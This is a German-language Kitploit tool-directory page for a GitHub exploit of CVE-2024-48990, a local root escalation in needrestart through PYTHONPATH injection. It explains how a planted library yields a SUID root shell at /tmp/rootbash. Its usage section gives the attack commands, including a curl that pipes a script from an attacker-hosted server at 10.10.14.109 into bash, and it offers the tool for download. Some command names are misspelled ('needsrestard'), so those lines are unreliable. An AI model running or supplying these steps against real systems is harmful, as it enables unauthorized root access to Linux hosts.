Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-48990 — Vollständiger Exploit für needsrestart setuid-Root-Shell | Kitploit
Tools/GitHubGitHub/mladicstefan/cve-2024-48990
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubmladicstefan/cve-2024-48990

CVE-2024-48990

Vollständiger Exploit für needsrestart setuid-Root-Shell

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-48990 Exploit

Lokale Rechteausweitung in needrestart < 3.8 durch PYTHONPATH-Injection.

So funktioniert es

  1. needrestart läuft als root und scannt alle Prozesse
  2. Findet unseren Python-Prozess, liest PYTHONPATH=/tmp/.m aus /proc/[pid]/environ
  3. Führt Python als root mit unserem bösartigen PYTHONPATH aus
  4. Pythons Import lädt /tmp/.m/importlib/__init__.so (unsere bösartige Bibliothek)
  5. Konstruktor in .so wird als root ausgeführt, bevor Python überhaupt startet
  6. Erstellt SUID-bash unter /tmp/rootbash
  7. Führe /tmp/rootbash -p für eine Root-Shell aus

Kernpunkt: needrestart vertraut Umgebungsvariablen von nicht privilegierten Prozessen und verwendet sie, wenn es Interpreten als root ausführt.

Verwendung

Angreifer:

root@kitploit:~
./compile.sh
python3 -m http.server 8000

Ziel:

root@kitploit:~
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

Der e.py-Prozess sollte hängen bleiben und root starten, sobald Folgendes von einem zweiten Terminal aus ausgeführt wird:

root@kitploit:~
sudo needsrestard

das erste Terminal startet eine Root-Shell.

Credits

Qualys Threat Research Unit - CVE-2024-48990

Tool herunterladen